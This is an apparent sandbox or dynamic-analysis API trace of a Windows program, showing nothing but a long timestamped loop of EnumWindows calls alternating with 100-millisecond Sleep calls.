[0149.291] Sleep (dwMilliseconds=0x64) [0149.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.293] Sleep (dwMilliseconds=0x64) [0149.294] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.294] Sleep (dwMilliseconds=0x64) [0149.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.296] Sleep (dwMilliseconds=0x64) [0149.299] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.299] Sleep (dwMilliseconds=0x64) [0149.301] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.301] Sleep (dwMilliseconds=0x64) [0149.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.303] Sleep (dwMilliseconds=0x64) [0149.305] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.305] Sleep (dwMilliseconds=0x64) [0149.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.307] Sleep (dwMilliseconds=0x64) [0149.308] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.308] Sleep (dwMilliseconds=0x64) [0149.309] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.310] Sleep (dwMilliseconds=0x64) [0149.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.311] Sleep (dwMilliseconds=0x64) [0149.313] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.313] Sleep (dwMilliseconds=0x64) [0149.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.315] Sleep (dwMilliseconds=0x64) [0149.317] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.317] Sleep (dwMilliseconds=0x64) [0149.318] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.318] Sleep (dwMilliseconds=0x64) [0149.320] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.320] Sleep (dwMilliseconds=0x64) [0149.328] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.329] Sleep (dwMilliseconds=0x64) [0149.330] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.331] Sleep (dwMilliseconds=0x64) [0149.332] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.335] Sleep (dwMilliseconds=0x64) [0149.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.440] Sleep (dwMilliseconds=0x64) [0149.442] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.442] Sleep (dwMilliseconds=0x64) [0149.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.444] Sleep (dwMilliseconds=0x64) [0149.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.445] Sleep (dwMilliseconds=0x64) [0149.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.447] Sleep (dwMilliseconds=0x64) [0149.448] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.448] Sleep (dwMilliseconds=0x64) [0149.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.450] Sleep (dwMilliseconds=0x64) [0149.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.451] Sleep (dwMilliseconds=0x64) [0149.452] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.453] Sleep (dwMilliseconds=0x64) [0149.454] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.454] Sleep (dwMilliseconds=0x64) [0149.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.456] Sleep (dwMilliseconds=0x64) [0149.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.457] Sleep (dwMilliseconds=0x64) [0149.458] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.459] Sleep (dwMilliseconds=0x64) [0149.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.461] Sleep (dwMilliseconds=0x64) [0149.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.463] Sleep (dwMilliseconds=0x64) [0149.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.464] Sleep (dwMilliseconds=0x64) [0149.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.466] Sleep (dwMilliseconds=0x64) [0149.467] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.467] Sleep (dwMilliseconds=0x64) [0149.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.469] Sleep (dwMilliseconds=0x64) [0149.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.470] Sleep (dwMilliseconds=0x64) [0149.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.472] Sleep (dwMilliseconds=0x64) [0149.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.474] Sleep (dwMilliseconds=0x64) [0149.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.477] Sleep (dwMilliseconds=0x64) [0149.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.479] Sleep (dwMilliseconds=0x64) [0149.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.480] Sleep (dwMilliseconds=0x64) [0149.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.482] Sleep (dwMilliseconds=0x64) [0149.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.483] Sleep (dwMilliseconds=0x64) [0149.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.485] Sleep (dwMilliseconds=0x64) [0149.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.486] Sleep (dwMilliseconds=0x64) [0149.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.488] Sleep (dwMilliseconds=0x64) [0149.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.491] Sleep (dwMilliseconds=0x64) [0149.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.493] Sleep (dwMilliseconds=0x64) [0149.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.494] Sleep (dwMilliseconds=0x64) [0149.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.496] Sleep (dwMilliseconds=0x64) [0149.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.497] Sleep (dwMilliseconds=0x64) [0149.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.499] Sleep (dwMilliseconds=0x64) [0149.500] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.500] Sleep (dwMilliseconds=0x64) [0149.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.502] Sleep (dwMilliseconds=0x64) [0149.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.503] Sleep (dwMilliseconds=0x64) [0149.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.505] Sleep (dwMilliseconds=0x64) [0149.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.506] Sleep (dwMilliseconds=0x64) [0149.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.508] Sleep (dwMilliseconds=0x64) [0149.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.509] Sleep (dwMilliseconds=0x64) [0149.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.511] Sleep (dwMilliseconds=0x64) [0149.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.512] Sleep (dwMilliseconds=0x64) [0149.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.515] Sleep (dwMilliseconds=0x64) [0149.516] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.517] Sleep (dwMilliseconds=0x64) [0149.518] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.518] Sleep (dwMilliseconds=0x64) [0149.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.520] Sleep (dwMilliseconds=0x64) [0149.521] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.521] Sleep (dwMilliseconds=0x64) [0149.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.523] Sleep (dwMilliseconds=0x64) [0149.524] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.524] Sleep (dwMilliseconds=0x64) [0149.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.526] Sleep (dwMilliseconds=0x64) [0149.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.527] Sleep (dwMilliseconds=0x64) [0149.528] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.529] Sleep (dwMilliseconds=0x64) [0149.530] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.530] Sleep (dwMilliseconds=0x64) [0149.531] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.532] Sleep (dwMilliseconds=0x64) [0149.533] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.533] Sleep (dwMilliseconds=0x64) [0149.535] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.535] Sleep (dwMilliseconds=0x64) [0149.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.537] Sleep (dwMilliseconds=0x64) [0149.538] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.539] Sleep (dwMilliseconds=0x64) [0149.540] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.541] Sleep (dwMilliseconds=0x64) [0149.542] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.542] Sleep (dwMilliseconds=0x64) [0149.543] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.544] Sleep (dwMilliseconds=0x64) [0149.545] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.545] Sleep (dwMilliseconds=0x64) [0149.547] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.547] Sleep (dwMilliseconds=0x64) [0149.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.548] Sleep (dwMilliseconds=0x64) [0149.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.657] Sleep (dwMilliseconds=0x64) [0149.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.697] Sleep (dwMilliseconds=0x64) [0149.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.699] Sleep (dwMilliseconds=0x64) [0149.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.700] Sleep (dwMilliseconds=0x64) [0149.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.702] Sleep (dwMilliseconds=0x64) [0149.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.704] Sleep (dwMilliseconds=0x64) [0149.705] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.705] Sleep (dwMilliseconds=0x64) [0149.707] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.707] Sleep (dwMilliseconds=0x64) [0149.709] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.709] Sleep (dwMilliseconds=0x64) [0149.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.711] Sleep (dwMilliseconds=0x64) [0149.712] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.712] Sleep (dwMilliseconds=0x64) [0149.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.714] Sleep (dwMilliseconds=0x64) [0149.716] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.716] Sleep (dwMilliseconds=0x64) [0149.717] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.717] Sleep (dwMilliseconds=0x64) [0149.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.720] Sleep (dwMilliseconds=0x64) [0149.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.722] Sleep (dwMilliseconds=0x64) [0149.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.723] Sleep (dwMilliseconds=0x64) [0149.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.725] Sleep (dwMilliseconds=0x64) [0149.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.744] Sleep (dwMilliseconds=0x64) [0149.749] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.749] Sleep (dwMilliseconds=0x64) [0149.751] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.751] Sleep (dwMilliseconds=0x64) [0149.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.753] Sleep (dwMilliseconds=0x64) [0149.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.755] Sleep (dwMilliseconds=0x64) [0149.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.756] Sleep (dwMilliseconds=0x64) [0149.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.880] Sleep (dwMilliseconds=0x64) [0149.890] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.890] Sleep (dwMilliseconds=0x64) [0149.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.892] Sleep (dwMilliseconds=0x64) [0149.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.895] Sleep (dwMilliseconds=0x64) [0149.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.897] Sleep (dwMilliseconds=0x64) [0149.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.899] Sleep (dwMilliseconds=0x64) [0149.928] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.928] Sleep (dwMilliseconds=0x64) [0150.005] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.006] Sleep (dwMilliseconds=0x64) [0150.024] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.024] Sleep (dwMilliseconds=0x64) [0150.026] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.026] Sleep (dwMilliseconds=0x64) [0150.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.030] Sleep (dwMilliseconds=0x64) [0150.031] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.031] Sleep (dwMilliseconds=0x64) [0150.033] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.033] Sleep (dwMilliseconds=0x64) [0150.035] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.035] Sleep (dwMilliseconds=0x64) [0150.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.037] Sleep (dwMilliseconds=0x64) [0150.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.039] Sleep (dwMilliseconds=0x64) [0150.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.042] Sleep (dwMilliseconds=0x64) [0150.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.044] Sleep (dwMilliseconds=0x64) [0150.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.046] Sleep (dwMilliseconds=0x64) [0150.049] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.049] Sleep (dwMilliseconds=0x64) [0150.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.051] Sleep (dwMilliseconds=0x64) [0150.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.053] Sleep (dwMilliseconds=0x64) [0150.054] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.055] Sleep (dwMilliseconds=0x64) [0150.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.057] Sleep (dwMilliseconds=0x64) [0150.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.059] Sleep (dwMilliseconds=0x64) [0150.061] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.061] Sleep (dwMilliseconds=0x64) [0150.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.063] Sleep (dwMilliseconds=0x64) [0150.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.065] Sleep (dwMilliseconds=0x64) [0150.067] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.067] Sleep (dwMilliseconds=0x64) [0150.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.071] Sleep (dwMilliseconds=0x64) [0150.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.074] Sleep (dwMilliseconds=0x64) [0150.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.076] Sleep (dwMilliseconds=0x64) [0150.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.078] Sleep (dwMilliseconds=0x64) [0150.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.081] Sleep (dwMilliseconds=0x64) [0150.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.083] Sleep (dwMilliseconds=0x64) [0150.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.085] Sleep (dwMilliseconds=0x64) [0150.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.088] Sleep (dwMilliseconds=0x64) [0150.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.090] Sleep (dwMilliseconds=0x64) [0150.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.092] Sleep (dwMilliseconds=0x64) [0150.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.096] Sleep (dwMilliseconds=0x64) [0150.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.098] Sleep (dwMilliseconds=0x64) [0150.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.100] Sleep (dwMilliseconds=0x64) [0150.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.103] Sleep (dwMilliseconds=0x64) [0150.105] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.105] Sleep (dwMilliseconds=0x64) [0150.165] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.166] Sleep (dwMilliseconds=0x64) [0150.168] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.169] Sleep (dwMilliseconds=0x64) [0150.170] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.170] Sleep (dwMilliseconds=0x64) [0150.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.172] Sleep (dwMilliseconds=0x64) [0150.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.174] Sleep (dwMilliseconds=0x64) [0150.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.176] Sleep (dwMilliseconds=0x64) [0150.178] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.178] Sleep (dwMilliseconds=0x64) [0150.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.180] Sleep (dwMilliseconds=0x64) [0150.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.182] Sleep (dwMilliseconds=0x64) [0150.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.184] Sleep (dwMilliseconds=0x64) [0150.186] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.186] Sleep (dwMilliseconds=0x64) [0150.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.188] Sleep (dwMilliseconds=0x64) [0150.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.190] Sleep (dwMilliseconds=0x64) [0150.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.192] Sleep (dwMilliseconds=0x64) [0150.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.194] Sleep (dwMilliseconds=0x64) [0150.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.196] Sleep (dwMilliseconds=0x64) [0150.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.198] Sleep (dwMilliseconds=0x64) [0150.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.200] Sleep (dwMilliseconds=0x64) [0150.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.202] Sleep (dwMilliseconds=0x64) [0150.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.206] Sleep (dwMilliseconds=0x64) [0150.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.208] Sleep (dwMilliseconds=0x64) [0150.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.209] Sleep (dwMilliseconds=0x64) [0150.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.211] Sleep (dwMilliseconds=0x64) [0150.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.213] Sleep (dwMilliseconds=0x64) [0150.214] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.215] Sleep (dwMilliseconds=0x64) [0150.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.216] Sleep (dwMilliseconds=0x64) [0150.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.218] Sleep (dwMilliseconds=0x64) [0150.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.220] Sleep (dwMilliseconds=0x64) [0150.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.222] Sleep (dwMilliseconds=0x64) [0150.223] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.224] Sleep (dwMilliseconds=0x64) [0150.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.225] Sleep (dwMilliseconds=0x64) [0150.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.227] Sleep (dwMilliseconds=0x64) [0150.229] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.229] Sleep (dwMilliseconds=0x64) [0150.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.231] Sleep (dwMilliseconds=0x64) [0150.233] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.233] Sleep (dwMilliseconds=0x64) [0150.235] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.236] Sleep (dwMilliseconds=0x64) [0150.237] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.237] Sleep (dwMilliseconds=0x64) [0150.239] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.239] Sleep (dwMilliseconds=0x64) [0150.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.241] Sleep (dwMilliseconds=0x64) [0150.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.242] Sleep (dwMilliseconds=0x64) [0150.244] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.244] Sleep (dwMilliseconds=0x64) [0150.245] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.245] Sleep (dwMilliseconds=0x64) [0150.247] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.247] Sleep (dwMilliseconds=0x64) [0150.248] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.248] Sleep (dwMilliseconds=0x64) [0150.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.250] Sleep (dwMilliseconds=0x64) [0150.251] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.252] Sleep (dwMilliseconds=0x64) [0150.253] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.253] Sleep (dwMilliseconds=0x64) [0150.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.254] Sleep (dwMilliseconds=0x64) [0150.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.256] Sleep (dwMilliseconds=0x64) [0150.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.257] Sleep (dwMilliseconds=0x64) [0150.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.259] Sleep (dwMilliseconds=0x64) [0150.261] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.261] Sleep (dwMilliseconds=0x64) [0150.263] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.263] Sleep (dwMilliseconds=0x64) [0150.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.266] Sleep (dwMilliseconds=0x64) [0150.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.268] Sleep (dwMilliseconds=0x64) [0150.270] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.270] Sleep (dwMilliseconds=0x64) [0150.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.271] Sleep (dwMilliseconds=0x64) [0150.273] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.273] Sleep (dwMilliseconds=0x64) [0150.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.274] Sleep (dwMilliseconds=0x64) [0150.276] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.276] Sleep (dwMilliseconds=0x64) [0150.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.277] Sleep (dwMilliseconds=0x64) [0150.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.279] Sleep (dwMilliseconds=0x64) [0150.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.281] Sleep (dwMilliseconds=0x64) [0150.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.282] Sleep (dwMilliseconds=0x64) [0150.284] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.284] Sleep (dwMilliseconds=0x64) [0150.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.286] Sleep (dwMilliseconds=0x64) [0150.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.288] Sleep (dwMilliseconds=0x64) [0150.289] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.289] Sleep (dwMilliseconds=0x64) [0150.291] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.291] Sleep (dwMilliseconds=0x64) [0150.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.293] Sleep (dwMilliseconds=0x64) [0150.294] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.294] Sleep (dwMilliseconds=0x64) [0150.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.296] Sleep (dwMilliseconds=0x64) [0150.298] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.299] Sleep (dwMilliseconds=0x64) [0150.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.301] Sleep (dwMilliseconds=0x64) [0150.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.303] Sleep (dwMilliseconds=0x64) [0150.304] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.304] Sleep (dwMilliseconds=0x64) [0150.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.306] Sleep (dwMilliseconds=0x64) [0150.307] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.307] Sleep (dwMilliseconds=0x64) [0150.309] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.309] Sleep (dwMilliseconds=0x64) [0150.310] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.310] Sleep (dwMilliseconds=0x64) [0150.312] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.312] Sleep (dwMilliseconds=0x64) [0150.313] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.313] Sleep (dwMilliseconds=0x64) [0150.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.315] Sleep (dwMilliseconds=0x64) 